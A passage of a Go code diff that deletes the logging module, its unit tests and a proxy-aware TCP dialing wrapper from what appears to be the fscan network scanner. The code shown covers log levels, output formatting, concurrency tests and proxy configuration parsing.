-)
-
-// =============================================================================
-// 日志级别常量 - 层级设计
-// =============================================================================
-
-// LogLevel 日志级别类型（数值越小越详细）
-type LogLevel int
-
-// 定义系统支持的日志级别常量（层级：Debug < Base < Info < Success < Vuln < Error）
-const (
-	LevelDebug   LogLevel = 0 // 调试信息（最详细）
-	LevelBase    LogLevel = 1 // 基础信息（扫描进度等）
-	LevelInfo    LogLevel = 2 // 一般信息（端口开放、服务识别等）
-	LevelSuccess LogLevel = 3 // 成功结果（Web指纹等）
-	LevelVuln    LogLevel = 4 // 重要发现（弱密码、漏洞等）
-	LevelError   LogLevel = 5 // 错误信息（始终显示）
-)
-
-// 向后兼容的别名
-const (
-	LevelAll             LogLevel = LevelDebug // ALL 等同于 Debug（显示所有）
-	LevelInfoSuccess     LogLevel = LevelInfo  // 废弃，映射到 Info
-	LevelBaseInfoSuccess LogLevel = LevelBase  // 废弃，映射到 Base
-)
-
-// =============================================================================
-// 时间显示常量 (从Formatter.go迁移)
-// =============================================================================
-
-const (
-	// MaxMillisecondDisplay 毫秒显示的最大时长
-	MaxMillisecondDisplay = time.Second
-	// MaxSecondDisplay 秒显示的最大时长
-	MaxSecondDisplay = time.Minute
-	// MaxMinuteDisplay 分钟显示的最大时长
-	MaxMinuteDisplay = time.Hour
-
-	// SlowOutputDelay 慢速输出延迟
-	SlowOutputDelay = 50 * time.Millisecond
-
-	// ProgressClearDelay 进度条清除延迟
-	ProgressClearDelay = 10 * time.Millisecond
-)
-
-// =============================================================================
-// 日志前缀常量 (从Formatter.go迁移)
-// =============================================================================
-
-const (
-	// PrefixDebug 调试日志前缀
-	PrefixDebug = "[.]"
-	// PrefixInfo 信息日志前缀
-	PrefixInfo = "[*]"
-	// PrefixSuccess 成功日志前缀
-	PrefixSuccess = "[+]"
-	// PrefixVuln 漏洞/重要发现前缀
-	PrefixVuln = "[!]"
-	// PrefixError 错误日志前缀
-	PrefixError = "[-]"
-)
-
-// =============================================================================
-// 默认配置常量
-// =============================================================================
-
-const (
-	// DefaultLevel 默认日志级别
-	DefaultLevel = LevelAll
-	// DefaultEnableColor 默认启用彩色输出
-	DefaultEnableColor = true
-	// DefaultSlowOutput 默认不启用慢速输出
-	DefaultSlowOutput = false
-	// DefaultShowProgress 默认显示进度条
-	DefaultShowProgress = true
-)
-
-// =============================================================================
-// 默认颜色映射
-// =============================================================================
-
-// GetDefaultLevelColors 获取默认的日志级别颜色映射
-func GetDefaultLevelColors() map[LogLevel]interface{} {
-	return map[LogLevel]interface{}{
-		LevelError:   color.FgYellow, // 错误日志显示黄色
-		LevelVuln:    color.FgRed,    // 漏洞/重要发现显示红色（密码成功、漏洞等）
-		LevelBase:    color.FgWhite,  // 基础日志显示白色（普通信息）
-		LevelInfo:    color.FgWhite,  // 信息日志显示白色（普通信息）
-		LevelSuccess: color.FgGreen,  // 成功日志显示绿色（Web指纹等）
-		LevelDebug:   color.FgWhite,  // 调试日志显示白色
-	}
-}

common/logging/logger.go

@@ -1,259 +0,0 @@
-package logging
-
-import (
-	"fmt"
-	"os"
-	"strings"
-	"sync"
-	"time"
-
-	"github.com/fatih/color"
-)
-
-// LogEntry 日志条目
-type LogEntry struct {
-	Level    LogLevel               `json:"level"`
-	Time     time.Time              `json:"time"`
-	Content  string                 `json:"content"`
-	Source   string                 `json:"source"`
-	Metadata map[string]interface{} `json:"metadata"`
-}
-
-// LoggerConfig 日志器配置
-type LoggerConfig struct {
-	Level        LogLevel                 `json:"level"`
-	EnableColor  bool                     `json:"enable_color"`
-	SlowOutput   bool                     `json:"slow_output"`
-	ShowProgress bool                     `json:"show_progress"`
-	Silent       bool                     `json:"silent"`
-	StartTime    time.Time                `json:"start_time"`
-	LevelColors  map[LogLevel]interface{} `json:"-"`
-	DebugLogFile string                   `json:"debug_log_file"`
-}
-
-// DefaultLoggerConfig 默认日志器配置
-func DefaultLoggerConfig() *LoggerConfig {
-	return &LoggerConfig{
-		Level:        DefaultLevel,
-		EnableColor:  DefaultEnableColor,
-		SlowOutput:   DefaultSlowOutput,
-		ShowProgress: DefaultShowProgress,
-		StartTime:    time.Now(),
-		LevelColors:  GetDefaultLevelColors(),
-	}
-}
-
-// Logger 简化的日志管理器
-type Logger struct {
-	mu                sync.RWMutex
-	config            *LoggerConfig
-	startTime         time.Time
-	coordinatedOutput func(string)
-	initialized       bool
-	debugFile         *os.File
-}
-
-// NewLogger 创建新的日志管理器
-func NewLogger(config *LoggerConfig) *Logger {
-	if config == nil {
-		config = DefaultLoggerConfig()
-	}
-
-	l := &Logger{
-		config:      config,
-		startTime:   config.StartTime,
-		initialized: true,
-	}
-
-	if config.DebugLogFile != "" {
-		f, err := os.OpenFile(config.DebugLogFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
-		if err == nil {
-			l.debugFile = f
-		}
-	}
-
-	return l
-}
-
-// Initialize 初始化日志器
-func (l *Logger) Initialize() {
-	l.mu.Lock()
-	defer l.mu.Unlock()
-	l.initialized = true
-}
-
-// SetCoordinatedOutput 设置协调输出函数
-func (l *Logger) SetCoordinatedOutput(outputFunc func(string)) {
-	l.mu.Lock()
-	defer l.mu.Unlock()
-	l.coordinatedOutput = outputFunc
-}
-
-// Debug 输出调试信息
-func (l *Logger) Debug(msg string) {
-	l.log(LevelDebug, msg)
-}
-
-// Base 输出基础信息
-func (l *Logger) Base(msg string) {
-	l.log(LevelBase, msg)
-}
-
-// Info 输出信息
-func (l *Logger) Info(msg string) {
-	l.log(LevelInfo, msg)
-}
-
-// Success 输出成功信息
-func (l *Logger) Success(msg string) {
-	l.log(LevelSuccess, msg)
-}
-
-// Vuln 输出漏洞/重要发现信息
-func (l *Logger) Vuln(msg string) {
-	l.log(LevelVuln, msg)
-}
-
-// Error 输出错误信息
-func (l *Logger) Error(msg string) {
-	l.log(LevelError, msg)
-}
-
-// log 内部日志处理方法
-func (l *Logger) log(level LogLevel, content string) {
-	l.mu.Lock()
-	defer l.mu.Unlock()
-
-	if l.config.Silent {
-		return
-	}
-
-	if !l.shouldLog(level) {
-		return
-	}
-
-	// 格式化消息：保留前缀，去掉时间戳
-	prefix := l.getLevelPrefix(level)
-
-	// 处理多行内容：给每行加上前缀，然后作为一个整体输出
-	if strings.Contains(content, "\n") {
-		lines := strings.Split(content, "\n")
-		var formattedLines []string
-		for _, line := range lines {
-			if line != "" {
-				formattedLines = append(formattedLines, fmt.Sprintf("%s %s", prefix, line))
-			}
-		}
-		logMsg := strings.Join(formattedLines, "\n")
-		l.outputMessage(level, logMsg)
-	} else {
-		logMsg := fmt.Sprintf("%s %s", prefix, content)
-		l.outputMessage(level, logMsg)
-	}
-
-	// 写入debug日志文件（纯文本，无颜色）
-	if l.debugFile != nil {
-		timestamp := time.Since(l.startTime).Truncate(time.Millisecond)
-		if strings.Contains(content, "\n") {
-			lines := strings.Split(content, "\n")
-			for _, line := range lines {
-				if line != "" {
-					_, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, line)
-				}
-			}
-		} else {
-			_, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, content)
-		}
-	}
-
-	// 根据慢速输出设置决定是否添加延迟
-	if l.config.SlowOutput {
-		time.Sleep(SlowOutputDelay)
-	}
-}
-
-// Close 关闭日志器，释放文件资源
-func (l *Logger) Close() {
-	l.mu.Lock()
-	defer l.mu.Unlock()
-	if l.debugFile != nil {
-		_ = l.debugFile.Close()
-		l.debugFile = nil
-	}
-}
-
-// shouldLog 检查是否应该记录该级别的日志
-// 层级过滤：消息级别 >= 配置级别 时显示，Error 始终显示
-func (l *Logger) shouldLog(level LogLevel) bool {
-	// Error 级别始终显示
-	if level == LevelError {
-		return true
-	}
-	// 层级过滤：消息级别 >= 配置级别
-	return level >= l.config.Level
-}
-
-// outputMessage 输出消息
-func (l *Logger) outputMessage(level LogLevel, logMsg string) {
-	if l.coordinatedOutput != nil {
-		// 使用协调输出（与进度条配合）
-		if l.config.EnableColor {
-			if colorAttr, ok := l.config.LevelColors[level]; ok {
-				if attr, ok := colorAttr.(color.Attribute); ok {
-					coloredMsg := color.New(attr).Sprint(logMsg)
-					l.coordinatedOutput(coloredMsg)
-					return
-				}
-			}
-		}
-		l.coordinatedOutput(logMsg)
-	} else {
-		// 直接输出
-		if l.config.EnableColor {
-			if colorAttr, ok := l.config.LevelColors[level]; ok {
-				if attr, ok := colorAttr.(color.Attribute); ok {
-					_, _ = color.New(attr).Println(logMsg)
-					return
-				}
-			}
-		}
-		fmt.Println(logMsg)
-	}
-}
-
-// formatElapsedTime 格式化经过的时间
-func (l *Logger) formatElapsedTime(elapsed time.Duration) string {
-	switch {
-	case elapsed < MaxMillisecondDisplay:
-		return fmt.Sprintf("%dms", elapsed.Milliseconds())
-	case elapsed < MaxSecondDisplay:
-		return fmt.Sprintf("%.1fs", elapsed.Seconds())
-	case elapsed < MaxMinuteDisplay:
-		minutes := int(elapsed.Minutes())
-		seconds := int(elapsed.Seconds()) % 60
-		return fmt.Sprintf("%dm%ds", minutes, seconds)
-	default:
-		hours := int(elapsed.Hours())
-		minutes := int(elapsed.Minutes()) % 60
-		seconds := int(elapsed.Seconds()) % 60
-		return fmt.Sprintf("%dh%dm%ds", hours, minutes, seconds)
-	}
-}
-
-// getLevelPrefix 获取日志级别前缀
-func (l *Logger) getLevelPrefix(level LogLevel) string {
-	switch level {
-	case LevelDebug:
-		return PrefixDebug
-	case LevelInfo:
-		return PrefixInfo
-	case LevelSuccess:
-		return PrefixSuccess
-	case LevelVuln:
-		return PrefixVuln
-	case LevelError:
-		return PrefixError
-	default:
-		return PrefixInfo // 默认使用 Info 前缀
-	}
-}

common/logging/logger_test.go

@@ -1,652 +0,0 @@
-package logging
-
-import (
-	"fmt"
-	"strings"
-	"sync"
-	"testing"
-	"time"
-)
-
-/*
-logger_test.go - 日志系统测试
-
-测试目标：Logger核心功能
-价值：日志是程序的眼睛，错误会导致：
-  - 关键信息丢失（用户看不到错误）
-  - 性能问题（并发日志混乱）
-  - 调试困难（时间格式错误）
-
-"日志不是可选功能。日志丢失或错误，等于程序在撒谎。
-测试必须验证：过滤正确、格式正确、并发安全。"
-*/
-
-// =============================================================================
-// 测试辅助函数
-// =============================================================================
-
-// captureOutput 捕获日志输出（不污染控制台）
-type captureOutput struct {
-	mu     sync.Mutex
-	output []string
-}
-
-func (c *captureOutput) Write(msg string) {
-	c.mu.Lock()
-	defer c.mu.Unlock()
-	c.output = append(c.output, msg)
-}
-
-func (c *captureOutput) Get() []string {
-	c.mu.Lock()
-	defer c.mu.Unlock()
-	result := make([]string, len(c.output))
-	copy(result, c.output)
-	return result
-}
-
-func (c *captureOutput) Clear() {
-	c.mu.Lock()
-	defer c.mu.Unlock()
-	c.output = nil
-}
-
-// createTestLogger 创建测试用Logger（捕获输出）
-func createTestLogger(level LogLevel, enableColor bool) (*Logger, *captureOutput) {
-	capture := &captureOutput{}
-	config := &LoggerConfig{
-		Level:        level,
-		EnableColor:  enableColor,
-		SlowOutput:   false, // 测试时禁用慢速输出
-		ShowProgress: false,
-		StartTime:    time.Now(),
-		LevelColors:  GetDefaultLevelColors(),
-	}
-	logger := NewLogger(config)
-	logger.SetCoordinatedOutput(capture.Write)
-	return logger, capture
-}
-
-// =============================================================================
-// Logger - 基础功能测试
-// =============================================================================
-
-// TestNewLogger_DefaultConfig 测试默认配置
-func TestNewLogger_DefaultConfig(t *testing.T) {
-	// nil配置应该使用默认值
-	logger := NewLogger(nil)
-
-	if logger == nil {
-		t.Fatal("NewLogger(nil) 应该返回有效的logger")
-	}
-
-	if logger.config == nil {
-		t.Error("config不应为nil（应使用默认配置）")
-	}
-
-	if logger.config.Level != DefaultLevel {
-		t.Errorf("默认Level = %v, want %v", logger.config.Level, DefaultLevel)
-	}
-
-	if !logger.initialized {
-		t.Error("logger应该已初始化")
-	}
-
-	t.Logf("✓ 默认配置测试通过")
-}
-
-// TestNewLogger_CustomConfig 测试自定义配置
-func TestNewLogger_CustomConfig(t *testing.T) {
-	config := &LoggerConfig{
-		Level:        LevelError,
-		EnableColor:  false,
-		SlowOutput:   true,
-		ShowProgress: false,
-		StartTime:    time.Now(),
-		LevelColors:  GetDefaultLevelColors(),
-	}
-
-	logger := NewLogger(config)
-
-	if logger.config.Level != LevelError {
-		t.Errorf("Level = %v, want %v", logger.config.Level, LevelError)
-	}
-
-	if logger.config.EnableColor {
-		t.Error("EnableColor应该为false")
-	}
-
-	t.Logf("✓ 自定义配置测试通过")
-}
-
-// TestLogger_AllLevels 测试所有日志级别
-//
-// 验证：每个级别都能正确输出
-func TestLogger_AllLevels(t *testing.T) {
-	logger, capture := createTestLogger(LevelAll, false)
-
-	tests := []struct {
-		name    string
-		logFunc func(string)
-		message string
-		wantMsg string
-		wantPfx string
-	}{
-		{
-			name:    "Debug级别",
-			logFunc: logger.Debug,
-			message: "debug message",
-			wantMsg: "debug message",
-			wantPfx: PrefixDebug,
-		},
-		{
-			name:    "Base级别",
-			logFunc: logger.Base,
-			message: "base message",
-			wantMsg: "base message",
-			wantPfx: PrefixInfo, // Base 已废弃，默认使用 Info 前缀
-		},
-		{
-			name:    "Info级别",
-			logFunc: logger.Info,
-			message: "info message",
-			wantMsg: "info message",
-			wantPfx: PrefixInfo,
-		},
-		{
-			name:    "Success级别",
-			logFunc: logger.Success,
-			message: "success message",
-			wantMsg: "success message",
-			wantPfx: PrefixSuccess,
-		},
-		{
-			name:    "Error级别",
-			logFunc: logger.Error,
-			message: "error message",
-			wantMsg: "error message",
-			wantPfx: PrefixError,
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			capture.Clear()
-			tt.logFunc(tt.message)
-
-			output := capture.Get()
-			if len(output) != 1 {
-				t.Fatalf("期望1条输出，实际%d条", len(output))
-			}
-
-			msg := output[0]
-			if !strings.Contains(msg, tt.wantMsg) {
-				t.Errorf("输出缺少消息: %s\n实际: %s", tt.wantMsg, msg)
-			}
-
-			if !strings.Contains(msg, tt.wantPfx) {
-				t.Errorf("输出缺少前缀: %s\n实际: %s", tt.wantPfx, msg)
-			}
-
-			// 验证输出格式：前缀 + 空格 + 消息
-			if !strings.HasPrefix(msg, tt.wantPfx) {
-				t.Errorf("输出应该以前缀开头: %s\n实际: %s", tt.wantPfx, msg)
-			}
-
-			t.Logf("✓ %s 输出正确: %s", tt.name, msg)
-		})
-	}
-}
-
-// =============================================================================
-// Logger - 级别过滤测试
-// =============================================================================
-
-// TestLogger_LevelFiltering 测试日志级别过滤
-//
-// 验证：不同级别配置下，只输出对应级别的日志
-func TestLogger_LevelFiltering(t *testing.T) {
-	tests := []struct {
-		name        string
-		configLevel LogLevel
-		logLevels   map[string]func(*Logger, string)
-		wantOutput  map[string]bool // true表示应该输出
-	}{
-		{
-			name:        "LevelAll - 显示所有",
-			configLevel: LevelAll,
-			logLevels: map[string]func(*Logger, string){
-				"debug":   (*Logger).Debug,
-				"base":    (*Logger).Base,
-				"info":    (*Logger).Info,
-				"success": (*Logger).Success,
-				"error":   (*Logger).Error,
-			},
-			wantOutput: map[string]bool{
-				"debug": true, "base": true, "info": true,
-				"success": true, "error": true,
-			},
-		},
-		{
-			name:        "LevelError - 仅错误",
-			configLevel: LevelError,
-			logLevels: map[string]func(*Logger, string){
-				"info":  (*Logger).Info,
-				"error": (*Logger).Error,
-			},
-			wantOutput: map[string]bool{
-				"info": false, "error": true,
-			},
-		},
-		{
-			name:        "LevelInfoSuccess - 信息和成功",
-			configLevel: LevelInfoSuccess,
-			logLevels: map[string]func(*Logger, string){
-				"base":    (*Logger).Base,
-				"info":    (*Logger).Info,
-				"success": (*Logger).Success,
-				"error":   (*Logger).Error,
-			},
-			wantOutput: map[string]bool{
-				"base": false, "info": true,
-				"success": true, "error": true, // Error 始终显示（层级设计）
-			},
-		},
-		{
-			name:        "LevelBaseInfoSuccess - 基础、信息和成功",
-			configLevel: LevelBaseInfoSuccess,
-			logLevels: map[string]func(*Logger, string){
-				"debug":   (*Logger).Debug,
-				"base":    (*Logger).Base,
-				"info":    (*Logger).Info,
-				"success": (*Logger).Success,
-			},
-			wantOutput: map[string]bool{
-				"debug": false, "base": true,
-				"info": true, "success": true,
-			},
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			logger, capture := createTestLogger(tt.configLevel, false)
-
-			for levelName, logFunc := range tt.logLevels {
-				capture.Clear()
-				logFunc(logger, levelName+" message")
-
-				output := capture.Get()
-				shouldOutput := tt.wantOutput[levelName]
-
-				if shouldOutput && len(output) == 0 {
-					t.Errorf("%s: 应该输出但没有输出", levelName)
-				}
-				if !shouldOutput && len(output) > 0 {
-					t.Errorf("%s: 不应该输出但输出了: %v", levelName, output)
-				}
-			}
-
-			t.Logf("✓ %s 过滤测试通过", tt.name)
-		})
-	}
-}
-
-// =============================================================================
-// Logger - 时间格式化测试
-// =============================================================================
-
-// TestLogger_TimeFormatting 测试时间格式化函数
-//
-// 验证：formatElapsedTime 对不同时长格式化正确（毫秒、秒、分钟、小时）
-func TestLogger_TimeFormatting(t *testing.T) {
-	tests := []struct {
-		name    string
-		elapsed time.Duration
-		wantStr string
-	}{
-		{
-			name:    "0毫秒",
-			elapsed: 0,
-			wantStr: "0ms",
-		},
-		{
-			name:    "500毫秒",
-			elapsed: 500 * time.Millisecond,
-			wantStr: "500ms",
-		},
-		{
-			name:    "999毫秒",
-			elapsed: 999 * time.Millisecond,
-			wantStr: "999ms",
-		},
-		{
-			name:    "1秒",
-			elapsed: 1 * time.Second,
-			wantStr: "1.0s",
-		},
-		{
-			name:    "30秒",
-			elapsed: 30 * time.Second,
-			wantStr: "30.0s",
-		},
-		{
-			name:    "59秒",
-			elapsed: 59 * time.Second,
-			wantStr: "59.0s",
-		},
-		{
-			name:    "1分钟",
-			elapsed: 1 * time.Minute,
-			wantStr: "1m0s",
-		},
-		{
-			name:    "5分30秒",
-			elapsed: 5*time.Minute + 30*time.Second,
-			wantStr: "5m30s",
-		},
-		{
-			name:    "59分59秒",
-			elapsed: 59*time.Minute + 59*time.Second,
-			wantStr: "59m59s",
-		},
-		{
-			name:    "1小时",
-			elapsed: 1 * time.Hour,
-			wantStr: "1h0m0s",
-		},
-		{
-			name:    "2小时30分45秒",
-			elapsed: 2*time.Hour + 30*time.Minute + 45*time.Second,
-			wantStr: "2h30m45s",
-		},
-	}
-
-	// 直接测试 formatElapsedTime 函数
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			logger := NewLogger(nil)
-			result := logger.formatElapsedTime(tt.elapsed)
-
-			if result != tt.wantStr {
-				t.Errorf("时间格式错误\n期望: %s\n实际: %s", tt.wantStr, result)
-			}
-
-			t.Logf("✓ %s → %s", tt.name, result)
-		})
-	}
-}
-
-// =============================================================================
-// Logger - 并发安全测试
-// =============================================================================
-
-// TestLogger_ConcurrentLogging 测试并发日志输出
-//
-// 验证：多个goroutine同时写日志不会panic或丢失
-func TestLogger_ConcurrentLogging(t *testing.T) {
-	logger, capture := createTestLogger(LevelAll, false)
-
-	numGoroutines := 100
-	logsPerGoroutine := 10
-	totalLogs := numGoroutines * logsPerGoroutine
-
-	var wg sync.WaitGroup
-	wg.Add(numGoroutines)
-
-	// 并发写入不同级别的日志
-	for i := 0; i < numGoroutines; i++ {
-		go func(id int) {
-			defer wg.Done()
-
-			for j := 0; j < logsPerGoroutine; j++ {
-				msg := fmt.Sprintf("goroutine-%d-log-%d", id, j)
-
-				// 随机使用不同级别
-				switch j % 5 {
-				case 0:
-					logger.Debug(msg)
-				case 1:
-					logger.Info(msg)
-				case 2:
-					logger.Success(msg)
-				case 3:
-					logger.Error(msg)
-				case 4:
-					logger.Base(msg)
-				}
-			}
-		}(i)
-	}
-
-	wg.Wait()
-
-	// 验证输出数量
-	output := capture.Get()
-	if len(output) != totalLogs {
-		t.Errorf("期望%d条日志，实际%d条（数据丢失或重复）",
-			totalLogs, len(output))
-	}
-
-	// 验证每条日志格式正确（前缀可能是 "[" 或空格）
-	for i, line := range output {
-		if !strings.HasPrefix(line, "[") && !strings.HasPrefix(line, " ") {
-			t.Errorf("第%d条日志格式错误: %s", i+1, line)
-			break
-		}
-	}
-
-	t.Logf("✓ 并发日志测试通过（%d个goroutine，共%d条日志）",
-		numGoroutines, totalLogs)
-}
-
-// TestLogger_NoCoordinatedOutput 测试无协调输出的情况
-//
-// 验证：coordinatedOutput为nil时，使用fmt.Println（不会panic）
-func TestLogger_NoCoordinatedOutput(t *testing.T) {
-	config := &LoggerConfig{
-		Level:       LevelAll,
-		EnableColor: false,
-		StartTime:   time.Now(),
-	}
-	logger := NewLogger(config)
-	// 不设置 coordinatedOutput
-
-	// 应该不会panic（会使用fmt.Println）
-	defer func() {
-		if r := recover(); r != nil {
-			t.Errorf("不应该panic: %v", r)
-		}
-	}()
-
-	logger.Info("test message")
-
-	t.Logf("✓ 无协调输出测试通过（使用fmt.Println）")
-}
-
-// =============================================================================
-// Logger - 高级功能测试（提升覆盖率）
-// =============================================================================
-
-// TestLogger_SingleLevels 测试单独级别配置
-//
-// 验证：层级过滤 - 设置一个级别后，显示该级别及以上的日志，Error始终显示
-func TestLogger_SingleLevels(t *testing.T) {
-	tests := []struct {
-		name        string
-		configLevel LogLevel
-		testLevels  map[string]func(*Logger, string)
-		wantOutput  map[string]bool
-	}{
-		{
-			name:        "LevelDebug - 显示所有",
-			configLevel: LevelDebug,
-			testLevels: map[string]func(*Logger, string){
-				"debug":   (*Logger).Debug,
-				"base":    (*Logger).Base,
-				"info":    (*Logger).Info,
-				"success": (*Logger).Success,
-				"error":   (*Logger).Error,
-			},
-			wantOutput: map[string]bool{
-				"debug": true, "base": true, "info": true,
-				"success": true, "error": true, // 层级过滤：Debug(0)及以上全显示
-			},
-		},
-		{
-			name:        "LevelBase - 基础及以上",
-			configLevel: LevelBase,
-			testLevels: map[string]func(*Logger, string){
-				"debug": (*Logger).Debug,
-				"base":  (*Logger).Base,
-				"info":  (*Logger).Info,
-			},
-			wantOutput: map[string]bool{
-				"debug": false, "base": true, "info": true, // 层级过滤：Base(1)及以上
-			},
-		},
-		{
-			name:        "LevelInfo - 信息及以上",
-			configLevel: LevelInfo,
-			testLevels: map[string]func(*Logger, string){
-				"base": (*Logger).Base,
-				"info": (*Logger).Info,
-			},
-			wantOutput: map[string]bool{
-				"base": false, "info": true, // 层级过滤：Info(2)及以上
-			},
-		},
-		{
-			name:        "LevelSuccess - 成功及以上",
-			configLevel: LevelSuccess,
-			testLevels: map[string]func(*Logger, string){
-				"info":    (*Logger).Info,
-				"success": (*Logger).Success,
-			},
-			wantOutput: map[string]bool{
-				"info": false, "success": true, // 层级过滤：Success(3)及以上
-			},
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			logger, capture := createTestLogger(tt.configLevel, false)
-
-			for levelName, logFunc := range tt.testLevels {
-				capture.Clear()
-				logFunc(logger, levelName+" message")
-
-				output := capture.Get()
-				shouldOutput := tt.wantOutput[levelName]
-
-				if shouldOutput && len(output) == 0 {
-					t.Errorf("%s: 应该输出但没有输出", levelName)
-				}
-				if !shouldOutput && len(output) > 0 {
-					t.Errorf("%s: 不应该输出但输出了: %v", levelName, output)
-				}
-			}
-
-			t.Logf("✓ %s 测试通过", tt.name)
-		})
-	}
-}
-
-// TestLogger_ColorOutput 测试颜色输出
-//
-// 验证：EnableColor开关正确控制颜色输出
-func TestLogger_ColorOutput(t *testing.T) {
-	t.Run("禁用颜色", func(t *testing.T) {
-		logger, capture := createTestLogger(LevelAll, false)
-		logger.Info("test")
-
-		output := capture.Get()
-		if len(output) == 0 {
-			t.Fatal("应该有输出")
-		}
-
-		// 无颜色时，输出就是纯文本
-		if strings.Contains(output[0], "\033[") {
-			t.Error("禁用颜色时不应该包含ANSI转义序列")
-		}
-
-		t.Logf("✓ 禁用颜色测试通过")
-	})
-
-	t.Run("启用颜色", func(t *testing.T) {
-		logger, capture := createTestLogger(LevelAll, true)
-		logger.Info("test")
-
-		output := capture.Get()
-		if len(output) == 0 {
-			t.Fatal("应该有输出")
-		}
-
-		// 启用颜色时，输出可能包含颜色（取决于终端支持）
-		// 但不会panic
-		t.Logf("✓ 启用颜色测试通过: %s", output[0])
-	})
-}
-
-// TestLogger_BackwardCompatibility 测试向后兼容性
-//
-// 验证：LevelAll 等同于 LevelDebug，显示所有级别
-func TestLogger_BackwardCompatibility(t *testing.T) {
-	config := &LoggerConfig{
-		Level:        LevelAll, // LevelAll 是 LevelDebug 的别名
-		EnableColor:  false,
-		ShowProgress: false,
-		StartTime:    time.Now(),
-		LevelColors:  GetDefaultLevelColors(),
-	}
-	logger := NewLogger(config)
-	capture := &captureOutput{}
-	logger.SetCoordinatedOutput(capture.Write)
-
-	// LevelAll 应该显示所有级别
-	logger.Debug("debug msg")
-	logger.Info("info msg")
-	logger.Error("error msg")
-
-	output := capture.Get()
-	if len(output) != 3 {
-		t.Errorf("LevelAll应该显示所有级别，期望3条，实际%d条", len(output))
-	}
-
-	t.Logf("✓ 向后兼容测试通过（LevelAll显示所有级别）")
-}
-
-// TestLogger_Initialize 测试初始化标记
-//
-// 验证：Initialize方法正确设置initialized标志
-func TestLogger_Initialize(t *testing.T) {
-	config := &LoggerConfig{
-		Level:        LevelAll,
-		EnableColor:  false,
-		ShowProgress: false,
-		StartTime:    time.Now(),
-		LevelColors:  GetDefaultLevelColors(),
-	}
-
-	// 手动创建logger，跳过NewLogger中的自动初始化
-	logger := &Logger{
-		config:      config,
-		initialized: false, // 明确设置为false
-	}
-
-	// 验证初始状态
-	if logger.initialized {
-		t.Error("新创建的logger不应该已初始化")
-	}
-
-	// 调用Initialize
-	logger.Initialize()
-
-	// 验证已初始化
-	if !logger.initialized {
-		t.Error("调用Initialize后应该已初始化")
-	}
-
-	t.Logf("✓ Initialize测试通过")
-}

common/network.go

@@ -1,183 +0,0 @@
-package common
-
-/*
-network.go - 统一网络操作包装器
-
-提供便捷的网络连接API，自动处理发包限制检查、代理和统计。
-*/
-
-import (
-	"context"
-	"fmt"
-	"net"
-	"net/http"
-	"net/url"
-	"strings"
-	"sync"
-	"time"
-
-	"github.com/shadow1ng/fscan/common/proxy"
-)
-
-// =============================================================================
-// 全局代理管理器（复用连接，避免重复创建）
-// =============================================================================
-
-var (
-	globalProxyOnce    sync.Once
-	globalProxyDialer  proxy.Dialer
-	globalProxyInitErr error
-)
-
-// getGlobalDialer 获取全局拨号器（线程安全，只初始化一次）
-func getGlobalDialer(timeout time.Duration) (proxy.Dialer, error) {
-	globalProxyOnce.Do(func() {
-		// 创建代理配置
-		config := createProxyConfig(timeout)
-
-		// 创建代理管理器
-		manager := proxy.NewProxyManager(config)
-
-		// 创建拨号器
-		globalProxyDialer, globalProxyInitErr = manager.GetDialer()
-	})
-
-	return globalProxyDialer, globalProxyInitErr
-}
-
-// =============================================================================
-// 代理配置
-// =============================================================================
-
-// parseProxyURL 解析代理URL，提取地址和认证信息
-func parseProxyURL(proxyURL, fallback string) (host, username, password string) {
-	parsedURL, err := url.Parse(proxyURL)
-	if err != nil {
-		return fallback, "", ""
-	}
-	host = parsedURL.Host
-	if parsedURL.User != nil {
-		username = parsedURL.User.Username()
-		password, _ = parsedURL.User.Password()
-	}
-	return
-}
-
-// createProxyConfig 根据全局设置创建代理配置
-func createProxyConfig(timeout time.Duration) *proxy.ProxyConfig {
-	fv := GetFlagVars()
-	config := proxy.DefaultProxyConfig()
-	config.Timeout = timeout
-	config.LocalAddr = fv.Iface // 设置本地网卡IP地址
-
-	// 优先使用SOCKS5代理
-	if fv.Socks5Proxy != "" {
-		config.Type = proxy.ProxyTypeSOCKS5
-		// 确保有协议前缀以便解析
-		socks5URL := fv.Socks5Proxy
-		if !strings.HasPrefix(socks5URL, "socks5://") {
-			socks5URL = "socks5://" + socks5URL
-		}
-		config.Address, config.Username, config.Password = parseProxyURL(socks5URL, fv.Socks5Proxy)
-		return config
-	}
-
-	// 其次使用HTTP代理
-	if fv.HTTPProxy != "" {
-		if strings.HasPrefix(fv.HTTPProxy, "https://") {
-			config.Type = proxy.ProxyTypeHTTPS
-		} else {
-			config.Type = proxy.ProxyTypeHTTP
-		}
-		config.Address, config.Username, config.Password = parseProxyURL(fv.HTTPProxy, fv.HTTPProxy)
-		return config
-	}
-
-	// 无代理配置，使用直连
-	config.Type = proxy.ProxyTypeNone
-	return config
-}
-
-// =============================================================================
-// TCP 连接
-// =============================================================================
-
-// Deprecated: WrapperTcpWithTimeout 仅供 mylib/grdp 兼容使用，新代码请用 ScanSession.DialTCP
-//
-//nolint:revive
-func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
-	// 检查发包限制 - 在代理连接前进行控制
-	if canSend, reason := CanSendPacket(); !canSend {
-		LogError(fmt.Sprintf("TCP连接 %s 受限: %s", address, reason))
-		return nil, fmt.Errorf("发包受限: %s", reason)
-	}
-
-	// 获取全局拨号器（复用，避免重复创建）
-	dialer, err := getGlobalDialer(timeout)
-	if err != nil {
-		LogError(fmt.Sprintf("获取代理拨号器失败: %v", err))
-		GetGlobalState().IncrementTCPFailedPacketCount()
-		return nil, err
-	}
-
-	// 使用代理拨号器连接
-	conn, err := dialer.DialContext(context.Background(), network, address)
-
-	// 统计TCP包数量 - 无论是否使用代理都要计数
-	if err != nil {
-		GetGlobalState().IncrementTCPFailedPacketCount()
-		LogDebug(fmt.Sprintf("连接 %s 失败: %v", address, err))
-		return nil, err
-	}
-
-	// 连接成功，统计成功包
-	GetGlobalState().IncrementTCPSuccessPacketCount()
-
-	return conn, nil
-}
-
-// SafeTCPDial TCP连接的便捷封装
